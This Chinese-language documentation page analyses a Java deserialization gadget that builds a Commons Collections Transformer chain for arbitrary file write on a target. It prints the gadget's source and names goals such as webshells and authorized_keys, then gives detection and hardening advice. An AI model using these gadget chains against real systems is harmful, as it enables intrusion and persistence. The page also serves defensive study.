Skip to content

Latest commit

 

History

History
155 lines (121 loc) · 12.5 KB

File metadata and controls

155 lines (121 loc) · 12.5 KB

写文件(TransformerWithFileWrite)

  • 类别:javanative 别名:(无) 优先级:(未设置)
  • 作者:(未标注)
  • 依赖<=commons-collections 3.2.1<=commons-collections 4.0

作用

构造一段 Commons Collections 的 Transformer[] 变换链,使其在被触发(ChainedTransformer.transform)时依次反射调用 FileOutputStream(String).write(byte[]),把构造 payload 时读入的一份本地文件内容,写入目标机上的任意路径——即一个实现「任意文件写入 / 文件上传落地」效果的 Transformer sink 构件,而非 RCE。它是 TransformerWithExec 的同族兄弟,区别仅在于内层反射调用序列由「执行命令」换成「写文件」。

链接标签

  • 入口 tagsTransformerChainsEND
    • TransformerChains:表明本 gadget 产出的是「Transformer 数组」这一半成品,需由上游能消费 Transformer 链的 gadget(其 nextTagsTransformerChains,如 CommonsCollectionsK3 / CommonsCollectionsK4)承接并塞入 ChainedTransformer.iTransformers
    • END:本 gadget 是链尾 sink,自身产出最终变换数组,其后不再拼接任何 gadget。
  • 衔接 nextTags:(空)——作为 END 节点没有下一环。
  • excludes:(空)。

注:tags 表示「本 gadget 承接哪种上一环」;此处 TransformerChains 语义上是「本 gadget 属于 Transformer-链体系、可被 Transformer 消费者收口」。真正驱动执行的上游是 K3/K4 之类以 nextTags={TransformerChains} 声明的 gadget。

源码剖析

1)本类 getObject():拼装文件写入变换链

public Object getObject() throws Exception {
    File file = new File(this.localFilepath);
    if (!file.exists()) {
        throw new FileNotFoundException(this.localFilepath + " not found!");
    }
    byte[] bytes = Files.readAllBytes(file.toPath());                 // ① 生成阶段即读入本地文件
    LinkedList<Object> transformers = new LinkedList<Object>();
    transformers.add(this.createConstantTransformer(FileOutputStream.class));                              // ②
    transformers.add(this.createInvokerTransformer("getConstructor",
            new Class[]{Class[].class}, new Object[]{new Class[]{String.class}}));                         // ③
    transformers.add(this.createInvokerTransformer("newInstance",
            new Class[]{Object[].class}, new Object[]{new Object[]{this.remoteFilepath}}));                // ④
    transformers.add(this.createInvokerTransformer("write",
            new Class[]{byte[].class}, new Object[]{bytes}));                                              // ⑤
    return this.createTransformerArray(transformers);                                                      // ⑥
}

逐段解释(对应 ChainedTransformer 执行时「上一 Transformer 的输出即下一 Transformer 的输入」的传递规则):

  • 文件内容在payload 构造/序列化阶段(生成侧机器上)通过 Files.readAllBytes 一次性读入,字节整体嵌入 payload。因此 localFilepath 指的是攻击者构造机上的源文件;若不存在,立即抛 FileNotFoundException,payload 无法生成。
  • ConstantTransformer(FileOutputStream.class):无视输入,恒定返回 java.io.FileOutputStreamClass 对象,作为链的起点常量。
  • InvokerTransformer("getConstructor", …):对上一步的 FileOutputStream.class 反射调用 getConstructor(String.class),得到 FileOutputStream(String) 构造器对象。
  • InvokerTransformer("newInstance", …):对该构造器调用 newInstance(remoteFilepath),在目标机上以 remoteFilepath 为路径 new FileOutputStream(remoteFilepath)(打开/创建文件)。
  • InvokerTransformer("write", …):对上一步得到的 FileOutputStream 实例调用 write(bytes),把 ① 嵌入的字节写入目标文件,完成落地。
  • createTransformerArrayLinkedList 转成与 CC 版本匹配的真实 Transformer[] 数组(下见基类)。

净效果:读构造机的 localFilepath → 反序列化时写到目标机的 remoteFilepath,实现任意文件写入 / webshell 落地 / 覆盖配置等。

2)基类 AbstractTransformer:版本自适配 + 反射造 Transformer

本类的 createConstantTransformer / createInvokerTransformer / createTransformerArray 均继承自基类,全部通过反射按运行环境的 CC 版本加载对应类,避免把 org.apache.commons.collections(4) 硬编译进构件:

public void initClazz(String version) throws ClassNotFoundException {
    if (version.equals("3")) {
        this.transformerClazz          = Class.forName("org.apache.commons.collections.Transformer");
        this.constantTransformerClazz  = Class.forName("org.apache.commons.collections.functors.ConstantTransformer");
        this.invokerTransformerClazz   = Class.forName("org.apache.commons.collections.functors.InvokerTransformer");
        this.instantiateTransformer    = Class.forName("org.apache.commons.collections.functors.InstantiateTransformer");
    } else if (version.equals("4")) {
        this.transformerClazz          = Class.forName("org.apache.commons.collections4.Transformer");
        this.constantTransformerClazz  = Class.forName("org.apache.commons.collections4.functors.ConstantTransformer");
        // …commons-collections4 对应类…
    } else {
        ThrowsUtil.throwGadgetException("CC " + version + " not found");
    }
}
public Object createTransformerArray(LinkedList<Object> transformers) throws ClassNotFoundException {
    Object transformerArray = Array.newInstance(this.transformerClazz, transformers.size());  // 造 Transformer[]
    for (int i = 0; i < transformers.size(); ++i) Array.set(transformerArray, i, transformers.get(i));
    return transformerArray;
}
public Object createConstantTransformer(Object args) throws Exception {
    return Reflections.newInstance(this.constantTransformerClazz.getName(), new Class[]{Object.class}, args);
}
public Object createInvokerTransformer(Object ... args) throws Exception {
    return Reflections.newInstance(this.invokerTransformerClazz.getName(),
            new Class[]{String.class, Class[].class, Object[].class}, args);
}

version 由上游 gadget 写入 context:K3 写 CC_VERSION_3、K4 写 CC_VERSION_4(见各自 invoke)。因此同一个 TransformerWithFileWrite 既能给 CC3.2.1 也能给 CC4.0 出链,靠反射选类,不引入编译期依赖。

3)invoke():与运行时的接线,以及一处需注意的实现差异

@Override
public Object invoke(GadgetContext context, GadgetChain chain) throws Exception {
    String version = context.getString(ContextTag.CC_VERSION);
    this.initClazz(version);                 // 先据上游写入的 CC 版本初始化反射类
    return chain.doCreate(context);          // ← 注意:返回的是 doCreate,而非 this.getObject()
}

对照同族且结构完全平行TransformerWithExec,其 invoke 末尾是 return this.getObject();——即「初始化版本类后,返回自己拼好的 Transformer[] 数组」。而本类返回的是 chain.doCreate(context)

结合框架 GadgetChainImpl.doCreate 的语义(按 index 顺序取下一个 gadget 的 invoke 结果;index >= total 时返回 null):

// GadgetChainImpl.java(节选)
public Object doCreate(GadgetContext context) throws Exception {
    if (this.index < this.total) {
        int current = this.index++;
        Gadget gadget = this.gadgetList.get(current);
        return gadget.invoke(context, this);   // 逐个推进 index
    }
    return null;                               // 越界即 null
}

本 gadget 带 END 标签、位于链尾,其内再次调用 chain.doCreate 会越过列表末端而返回 null。也就是说,按此份反编译源码,getObject() 精心拼好的文件写入数组并未被 invoke 返回给上游——上游 K3/K4 拿到的将是 nullChainedTransformer.iTransformers 被置空,链失效。

结论(如实标注,符合本知识库「已知缺陷需据实记录」的写作纪律):以 现有反编译内容为准,TransformerWithFileWrite.invoke 相对兄弟类存在一处疑似缺陷——return chain.doCreate(context) 处应为 return this.getObject。防御方在评估「该构件是否真能生效」时应知悉这一点;但写文件的原理与能力仍以 getObject 为准(其他 Transformer 系列构件、以及历史 CC 链均按 getObject 语义工作)。

参数(@Param)

字段 名称 说明 默认 可选值
localFilepath 本地文件路径 payload 构造机上待读取的源文件;生成时 Files.readAllBytes 读入并嵌入 payload,不存在则抛 FileNotFoundException (无) (自由输入)
remoteFilepath 目标文件路径 目标机上要写入/覆盖的绝对或相对路径,反序列化时以 new FileOutputStream(remoteFilepath).write(bytes) 落地 (无) (自由输入)

适用版本与原理要点

  • 依赖版本commons-collections <= 3.2.1(v3 分支)或 commons-collections4 <= 4.0(v4 分支)。二者由上游 K3(CC3)或 K4(CC4)通过 ContextTag.CC_VERSION 选择,本构件用 initClazz 反射适配,不硬编译依赖。
  • 触发要点:本构件只产出 Transformer[]不含触发点。真正的「反序列化 → 触发 transform」由上游负责:K3 走 LazyMap.get → ChainedTransformer.transformTiedMapEntry+HashSet),K4 走 PriorityQueue → TransformingComparator.compare → ChainedTransformer.transform
  • 能力边界:效果是任意文件写入,不是命令执行;适合落 webshell、覆盖配置/计划任务、写 .ssh/authorized_keys 等间接提权路径。是否成功取决于目标进程对 remoteFilepath 的写权限与路径可达性。
  • 文件内容固定:写入内容在构造阶段即冻结(字节内嵌 payload),运行时不再读取;因此同一 payload 写出的内容是确定的。
  • 实现差异:见上文「源码剖析 3)」——本类 invoke 未返回 getObject(),需按实际 java-chains 1.4.4 行为验证是否可直接出链。

所属预设链

自由构件,未直接出现在任何预设链(usedInChains 为空)。可按标签与 CC 消费者手动组合,典型形态:

  • [CommonsCollectionsK3, TransformerWithFileWrite](CC3.2.1,LazyMap 触发)
  • [CommonsCollectionsK4, TransformerWithFileWrite](CC4.0,PriorityQueue/TransformingComparator 触发)

关联

防御与检测

  • 依赖治理:升级/移除 commons-collections 3.2.1 及 commons-collections4 4.0;3.2.2+ 对 InvokerTransformer 默认反序列化做了限制。杜绝不可信数据进入 Java 原生反序列化入口。
  • 序列化指纹:流量/日志中出现 ChainedTransformer + InvokerTransformer + ConstantTransformer 组合,且 InvokerTransformer 方法名为 getConstructor / newInstance / write、载体类为 java.io.FileOutputStream,是本 sink 的强特征(区别于命令执行版的 Runtime/exec)。
  • 运行时检测:反序列化线程栈中出现 FileOutputStream.<init>(String)FileOutputStream.write(byte[]),且调用者位于 commons.collections(.functors) 变换器栈帧,属高危异常写文件行为。
  • 落地面监控:对 Web 目录、.ssh、计划任务、启动项等敏感路径的意外文件写入告警;反序列化服务进程按最小权限运行,剥夺对上述路径的写权限。
  • 黑白名单:启用 JEP 290 / ObjectInputFilter 或 SerialKiller 类白名单,拦截 org.apache.commons.collections(.functors).*Transformer